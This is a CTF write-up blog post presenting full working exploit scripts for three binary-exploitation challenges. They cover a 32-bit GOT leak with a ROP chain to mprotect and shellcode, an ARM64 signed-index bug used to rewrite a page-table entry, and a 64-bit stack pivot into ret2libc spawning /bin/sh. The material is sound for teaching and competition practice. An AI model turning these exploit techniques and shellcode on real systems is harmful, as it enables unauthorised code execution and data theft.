- Published on
Break The Syntax CTF 2026 - PWN challenges
Introduction
Recently there was a cool CTF in Poland: Break The Syntax CTF 2026. We solved all three PWN challenges. The PWN category had three tasks: two classic shellcode challenges (32-bit and 64-bit) and one ARM64 task running under QEMU — poni barn. Below are the writeups and solutions.

shellcode-1.11 You Can (Not) Execute

A 32-bit challenge. The server was reachable only through an SNI tunnel (snicat). No PIE — PLT/GOT addresses are fixed. The approach: leak the GOT via write@plt, compute the ld-linux.so.2 base, then ROP into mprotect to mark the stack RWX, and finally execute a hand-written open/read/write shellcode to read the flag.
Solution
#!/usr/bin/env python3
import os
import re
import socket
import struct
import subprocess
import time
HOST = "tcp-shellcode-63fe107687868e89.chall.bts.wh.edu.pl"
LHOST = "127.0.0.1"
LPORT = 31337
SNICAT = os.environ.get("SNICAT", "snicat")
READ_PLT = 0x08049020
WRITE_PLT = 0x08049010
MAIN = 0x08049040
GOT_BASE = 0x0804bff4
RESOLVER_OFF = 0x11310
# ld-linux.so.2
G_ADD_ESP_12_RET = 0x162ba
LD_MPROTECT = 0x23080
def p32(x):
return struct.pack("<I", x & 0xffffffff)
def u32(b):
return struct.unpack("<I", b[:4])[0]
def recvn(sock, n, timeout=5):
sock.settimeout(timeout)
out = b""
while len(out) < n:
try:
c = sock.recv(n - len(out))
except socket.timeout:
break
if not c:
break
out += c
return out
def recv_all(sock, timeout=5):
sock.settimeout(timeout)
out = b""
while True:
try:
c = sock.recv(4096)
if not c:
break
out += c
except socket.timeout:
break
return out
def start_snicat():
print(f"[*] Startuję snicat: {SNICAT} -bind {LHOST}:{LPORT} {HOST}")
proc = subprocess.Popen(
[SNICAT, "-bind", f"{LHOST}:{LPORT}", HOST],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
time.sleep(1.0)
return proc
def connect_local():
for _ in range(30):
try:
return socket.create_connection((LHOST, LPORT), timeout=2)
except OSError:
time.sleep(0.2)
raise RuntimeError("Nie mogę połączyć się z lokalnym tunelem snicat")
def calc_buf(leak):
saved_ecx = u32(leak[12:16])
entry_esp = saved_ecx - 4
return (entry_esp & ~0xf) - 24
def pivot_read(buf, count):
payload = p32(READ_PLT) # ret po stack pivocie
payload += p32(0x41414141) # return read(), nadpisze stage
payload += p32(0) # fd
payload += p32(buf + 4) # dst
payload += p32(count) # count
return payload.ljust(28, b"A")
def stage_leak_got():
rop = p32(WRITE_PLT)
rop += p32(MAIN)
rop += p32(1)
rop += p32(GOT_BASE)
rop += p32(0x20)
return rop
def shellcode_open_read_write(path: bytes):
assert b"\x00" not in path
if len(path) + 1 + 0x40 > 0x7f:
raise ValueError("path za długi dla lea esi,[ebx+imm8]")
safe_off = len(path) + 1 + 0x20
body = b""
# ebx = &path
body += b"\x5b" # pop ebx
# esi = safe_buf = path + len(path) + 1 + 0x20
body += b"\x8d\x73" + bytes([safe_off]) # lea esi, [ebx+safe_off]
# open(path, O_RDONLY, 0)
body += b"\x31\xc9" # xor ecx,ecx
body += b"\x31\xd2" # xor edx,edx
body += b"\x31\xc0" # xor eax,eax
body += b"\xb0\x05" # mov al,5
body += b"\xcd\x80" # int 0x80
# read(fd, safe_buf, 0x100)
body += b"\x89\xc3" # mov ebx,eax
body += b"\x89\xf1" # mov ecx,esi
body += b"\x31\xd2" # xor edx,edx
body += b"\xb6\x01" # mov dh,1 ; edx=0x100
body += b"\x31\xc0" # xor eax,eax
body += b"\xb0\x03" # mov al,3
body += b"\xcd\x80" # int 0x80
# write(1, safe_buf, eax)
body += b"\x89\xc2" # mov edx,eax
body += b"\x31\xdb" # xor ebx,ebx
body += b"\x43" # inc ebx
body += b"\x89\xf1" # mov ecx,esi
body += b"\x31\xc0" # xor eax,eax
body += b"\xb0\x04" # mov al,4
body += b"\xcd\x80" # int 0x80
# exit(0)
body += b"\x31\xdb" # xor ebx,ebx
body += b"\x31\xc0" # xor eax,eax
body += b"\xb0\x01" # mov al,1
body += b"\xcd\x80" # int 0x80
# jmp-call-pop
sc = b"\xeb" + bytes([len(body)])
sc += body
after_call = len(sc) + 5
rel = (2 - after_call) & 0xffffffff
sc += b"\xe8" + p32(rel)
sc += path + b"\x00"
# trochę paddingu, żeby safe_buf był realnie za stringiem
sc += b"\x90" * 0x80
return sc
def build_final_stage(buf, ld_base, shellcode):
ld = lambda off: ld_base + off
stack_page = buf & ~0xfff
# final_stage jest ładowany pod buf+4.
#
# buf+04: mprotect
# buf+08: add esp,0xc ; ret
# buf+12: stack_page
# buf+16: 0x1000
# buf+20: 7
# buf+24: shell_addr
# buf+28: shellcode
shell_addr = buf + 28
rop = p32(ld(LD_MPROTECT))
rop += p32(ld(G_ADD_ESP_12_RET))
rop += p32(stack_page)
rop += p32(0x1000)
rop += p32(7)
rop += p32(shell_addr)
rop += shellcode
return rop
def run_one(path: bytes):
print(f"\n===== próba path={path!r} =====")
s = connect_local()
leak1 = recvn(s, 64)
if len(leak1) != 64:
raise RuntimeError(f"leak1 len={len(leak1)}, oczekiwano 64")
buf1 = calc_buf(leak1)
print(f"[*] buf1 = {buf1:#x}")
st = stage_leak_got()
s.sendall(pivot_read(buf1, len(st)) + st)
got = recvn(s, 0x20)
if len(got) != 0x20:
raise RuntimeError(f"GOT leak len={len(got)}, oczekiwano 32")
resolver = u32(got[8:12])
write_addr = u32(got[12:16])
read_addr = u32(got[16:20])
ld_base = resolver - RESOLVER_OFF
print(f"[*] resolver = {resolver:#x}")
print(f"[*] write = {write_addr:#x}")
print(f"[*] read = {read_addr:#x}")
print(f"[*] ld_base = {ld_base:#x}")
if ld_base & 0xfff:
print("[!] ld_base nie jest page-aligned")
s.close()
return b""
leak2 = recvn(s, 64)
if len(leak2) != 64:
raise RuntimeError(f"leak2 len={len(leak2)}, oczekiwano 64")
buf2 = calc_buf(leak2)
print(f"[*] buf2 = {buf2:#x}")
sc = shellcode_open_read_write(path)
final_stage = build_final_stage(buf2, ld_base, sc)
print(f"[*] shellcode len = {len(sc)}")
print(f"[*] final_stage len = {len(final_stage)}")
s.sendall(pivot_read(buf2, len(final_stage)) + final_stage)
out = recv_all(s, timeout=5)
s.close()
return out
def main():
proc = start_snicat()
try:
paths = [
b"/app/flag.txt",
b"flag.txt",
b"./flag.txt",
]
for path in paths:
try:
out = run_one(path)
except Exception as e:
print(f"[-] error: {e}")
continue
print("--- OUTPUT RAW ---")
print(repr(out))
print("--- OUTPUT TEXT ---")
print(out.decode(errors="replace"))
m = re.search(rb"(?:BtSCTF|BTSCTF|BTS|btsctf|BtS)\{[^}\n]+\}", out)
if m:
print(f"\n[+] FLAG: {m.group(0).decode(errors='replace')}")
return
if b"{" in out and b"}" in out:
print("\n[+] Jest output flagopodobny, sprawdź powyżej.")
return
print("\n[-] Nadal brak flagi.")
print("[*] Jeśli dalej pusto, następny test: shellcode-only write('OK') po mprotect.")
finally:
try:
proc.terminate()
except Exception:
pass
if __name__ == "__main__":
main()
Solution author: Grzechu
poni barn

Description
Frankly speaking, I don't really like ARM, so Codex practically did the whole task for me. We get a small system running inside QEMU on ARM64. You don't need deep ARM knowledge to solve this. Two things matter from the decompilation:
- the program has a pony menu,
- option
8) peek somewherelets you read 8 bytes from a given address, but not from every memory page.
The flag lives in a .flag section at:
0x40023000
Trying to read that page directly gives:
FAULT
So the flag is in memory, but the page is not accessible from userland.
Key addresses
From binary-ninja-output.txt and readelf:
__barn = 0x40020000
l3_table = 0x40021000
flag page = 0x40023000
__barn is an array of 256 ponies. Each pony is 16 bytes:
offset +0: name, 8 bytes
offset +8: magic number, 8 bytes
Option 7) change pony's magic number writes 8 bytes to:
selected_pony + 8
The bug
When selecting a pony the program does roughly:
idx = parse_int(input);
if (idx > 255) {
error();
} else {
pony = __barn + (idx << 4);
}
The problem: only idx > 255 is checked.
There is no check for a negative idx.
By supplying a very large number that is treated as negative in signed 64-bit arithmetic, the program accepts it and uses it to compute the pointer.
Index used:
0x8000000000000111
After the 4-bit left shift and 64-bit wraparound:
__barn + (idx << 4) = 0x40021110
So the chosen "pony" actually points into the page table, not the normal pony array.
What we overwrite
The flag page's entry in the page table is at:
0x40021118
Because option 7 writes to pony + 8, and our fake pony is 0x40021110, the write lands exactly here:
0x40021110 + 8 = 0x40021118
Before the exploit, the entry looks like:
0x0060000040023703
This maps the physical flag page but without EL0 (userland) access.
We change it to:
0x0060000040023743
The difference is setting the additional access bit for EL0. In practice we flip the low bytes:
...3703 -> ...3743
Why sparkle dust
Option 9) sparkle dust invokes syscall number 2, which the kernel handles as:
dsb();
tlbi vmalle1;
dsb();
isb();
This flushes the TLB — the address translation cache. After modifying the page table you must do this so the CPU starts using the new entry.
Without it, reads may still fault because the processor remembers the old page permissions.
Manual steps
After connecting to the service:
1
0x8000000000000111
7
0x60000040023743
9
8
0x40023000
8
0x40023008
8
0x40023010
8
0x40023018
8
0x40023020
Each peek returns 8 bytes. The program also prints them on the right as ASCII, e.g.:
VAL:0x5f7b465443537442 |BtSCTF{_|
The hex value is little-endian, but the ASCII on the right is already in the correct order.
Solution
#!/usr/bin/env python3
import re
import socket
import sys
import time
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
def recv_some(sock, timeout=0.5):
sock.settimeout(timeout)
data = b""
while True:
try:
chunk = sock.recv(65536)
if not chunk:
break
data += chunk
except TimeoutError:
break
return data
def main():
with socket.create_connection((HOST, PORT), timeout=5) as sock:
time.sleep(0.3)
recv_some(sock)
payload = b""
# __barn + (idx << 4) == 0x40021110. The high bit makes the signed
# bounds check accept the index while the shift still wraps as needed.
payload += b"1\n0x8000000000000111\n"
# Write [selected_pony + 8], i.e. PTE at 0x40021118 for VA 0x40023000.
# Original low flags are 0x703 (EL1-only); 0x743 sets EL0 access.
payload += b"7\n0x60000040023743\n"
# Flush TLB.
payload += b"9\n"
for addr in range(0x40023000, 0x40023028, 8):
payload += f"8\n0x{addr:x}\n".encode()
payload += b"0\n"
sock.sendall(payload)
time.sleep(0.8)
out = recv_some(sock, timeout=1.0).decode("latin1", "replace")
parts = []
for value in re.findall(r"VAL:0x([0-9a-fA-F]{16})", out):
parts.append(int(value, 16).to_bytes(8, "little"))
flag = b"".join(parts).split(b"\x00", 1)[0]
print(flag.decode("latin1", "replace"))
if __name__ == "__main__":
main()
Solution author: kerszi
Shellcode: 2.22 You Can (Not) RCE

A 64-bit challenge. The binary is a "love interpreter" that accepts input encoded as <3, 0<<, 1<< — primitive opcodes that XOR bytes on the stack. The exploit: stabilise the stack frame by re-entering main twice, pivot the stack into a prepared ROP chain, leak puts@GOT to find the libc base, return to main, then call system("/bin/sh").
Solution
#!/usr/bin/env python3
from pwn import *
import argparse
import os
import re
import time
context.binary = "./a.out"
context.arch = "amd64"
context.log_level = "info"
HOST = "127.0.0.1"
PORT = 31337
PAYLEN = 0x400
RET = 0x40101a
POP_RDI_RET = 0x40146b
PUTS_PLT = 0x401030
PUTS_GOT = 0x404000
LOVE = 0x401251
MAIN_PLUS_1 = 0x401461
# dla pierwszego pivota: przy mask=0xd8 możliwe trafienia to:
# 0x3b8, 0x3c8, 0x3d8, 0x3e8
LEAK_CHAIN_OFF = 0x3c8
def recv_prompt(io, timeout=5):
marker = b"Show me your love, in hearts, zeroes and ones"
data = b""
end = time.time() + timeout
while time.time() < end and marker not in data:
try:
c = io.recv(timeout=0.25)
except EOFError:
break
if c:
data += c
return data
def recv_some(io, timeout=2):
try:
return io.recvrepeat(timeout=timeout)
except EOFError:
return b""
def nested_main_payload():
"""
count('3') = 13 -> EBX = 0x2000 -> BH = 0x20
0<< = xor byte ptr [rsp+rdi], bh
invalid byte = 0x00 -> rdi=0
shellcode return:
0x401441 ^ 0x20 = 0x401461 = main+1
"""
p = bytearray(b"A" * PAYLEN)
sc = b"<3" * 13 + b"0<<" + b"\x00"
p[:len(sc)] = sc
assert p.count(0x33) == 13
return bytes(p)
def make_pivot_payload(body, count3=15, invalid=0x58):
"""
Shellcode:
<3... padding/count
1<< xor dword ptr [rsp+rdi], edi
0<< xor byte ptr [rsp+rdi], bh
Przy count3=15:
BH = 0x80
mask low-byte saved rbp = invalid ^ 0x80
dla invalid=0x58 mask=0xd8
"""
p = bytearray(b"A" * PAYLEN)
for off, q in body:
p[off:off + len(q)] = q
need = count3 - p.count(0x33)
if need < 0:
return None
sc = b"<3" * need + b"1<<0<<" + bytes([invalid])
p[:len(sc)] = sc
if p.count(0x33) != count3:
return None
return bytes(p)
def leak_payload(return_after_puts):
chain = flat(
0xdeadbeefdeadbeef,
POP_RDI_RET,
PUTS_GOT,
PUTS_PLT,
return_after_puts,
)
return make_pivot_payload(
[(LEAK_CHAIN_OFF, chain)],
count3=15,
invalid=0x58,
)
def final_payload(libc):
"""
Uniwersalniejszy final:
- ret-sled od 0x3a0 do 0x3d8
- właściwy ROP od 0x3d8
Dzięki temu nie musimy trafić idealnie w jeden qword.
"""
binsh = next(libc.search(b"/bin/sh\x00"))
body = []
# ret-sled; bez bajtu 0x33 w adresie
for off in range(0x3a0, 0x3d8, 8):
body.append((off, p64(RET)))
# final chain mieści się do końca 0x400
chain = flat(
POP_RDI_RET,
binsh,
libc.sym["system"],
libc.sym["exit"],
)
body.append((0x3d8, chain))
return make_pivot_payload(
body,
count3=15,
invalid=0x58,
)
def parse_puts_leak(data):
marker = b"2 to the power of love you gave me: 0\n"
for rest in data.split(marker)[1:]:
line = rest.split(b"\n", 1)[0]
if len(line) < 4:
continue
if b"*" in line or b"Show me" in line or b"love" in line or b"50015" in line:
continue
leak = u64(line[:8].ljust(8, b"\x00"))
if 0x700000000000 <= leak <= 0x7fffffffffff:
return leak
return None
def one_attempt(libc_path, leak_return):
libc = ELF(libc_path, checksec=False)
libc.address = 0
puts_off = libc.sym["puts"]
io = remote(HOST, PORT)
try:
recv_prompt(io)
# stabilizujemy pierwszy frame tak jak w wersji, która już dawała leak
io.send(nested_main_payload())
recv_prompt(io)
io.send(nested_main_payload())
recv_prompt(io)
lp = leak_payload(leak_return)
if lp is None:
io.close()
return False
io.send(lp)
# jeśli leak_return == MAIN_PLUS_1, po puts() powinien pojawić się nowy prompt
data = recv_prompt(io, timeout=6)
leak = parse_puts_leak(data)
if leak is None:
io.close()
return False
libc.address = leak - puts_off
if libc.address & 0xfff:
log.warning("Odrzucam niepage-aligned libc base: leak=%#x base=%#x", leak, libc.address)
io.close()
return False
if not (0x700000000000 <= libc.address <= 0x7fffffffffff):
log.warning("Odrzucam dziwną libc base: leak=%#x base=%#x", leak, libc.address)
io.close()
return False
log.success("puts leak : %#x", leak)
log.success("libc base : %#x", libc.address)
log.success("system : %#x", libc.sym["system"])
log.success("/bin/sh : %#x", next(libc.search(b"/bin/sh\x00")))
log.info("leak_return = %#x", leak_return)
# Jeżeli po leaku wróciliśmy do LOVE, spróbuj jeszcze raz wejść w main+1.
# Jeżeli wróciliśmy do MAIN_PLUS_1, już jesteśmy przy świeżym prompcie.
if leak_return == LOVE:
io.send(nested_main_payload())
recv_prompt(io)
fp = final_payload(libc)
if fp is None:
io.close()
return False
io.send(fp)
time.sleep(0.3)
io.sendline(b"cat /app/flag.txt; /bin/cat /app/flag.txt; cat flag.txt; id")
out = recv_some(io, timeout=2.5)
m = re.search(rb"BtSCTF\{[^}]+\}", out)
if m:
flag = m.group(0).decode(errors="replace")
print(flag)
log.success("FLAG: %s", flag)
return True
if b"uid=" in out:
print(out.decode(errors="replace"))
io.interactive()
return True
if out.strip():
log.info("output:\n%s", out.decode(errors="replace"))
io.close()
return False
except EOFError:
try:
io.close()
except Exception:
pass
return False
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--libc", default="./libc.so.6")
ap.add_argument("--tries", type=int, default=500)
args = ap.parse_args()
if not os.path.exists(args.libc):
log.error("Brak libc: %s", args.libc)
# Najpierw właściwy wariant: po leaku wróć do main+1.
# Fallback: stary wariant przez LOVE.
returns = [MAIN_PLUS_1, LOVE]
for i in range(1, args.tries + 1):
leak_return = returns[(i - 1) % len(returns)]
log.info("===== attempt %d/%d return=%#x =====", i, args.tries, leak_return)
if one_attempt(args.libc, leak_return):
return
time.sleep(0.1)
log.failure("Nie złapałem flagi. Jeśli leak nadal wpada, zwiększ --tries albo pokaż output z udanego leaku dla return=0x401461.")
if __name__ == "__main__":
main()
Solution author: Grzechu
Conclusion
Three tasks, three different vectors. shellcode-1.11 is a classic 32-bit GOT leak into shellcode via mprotect. poni barn is the most original one — an integer overflow in the pony index lets you overwrite an ARM64 page table entry and unlock the flag page. shellcode-2.22 is a 64-bit challenge with a custom opcode interpreter and a multi-stage ret2libc.
Bonus
You can find all binaries here.
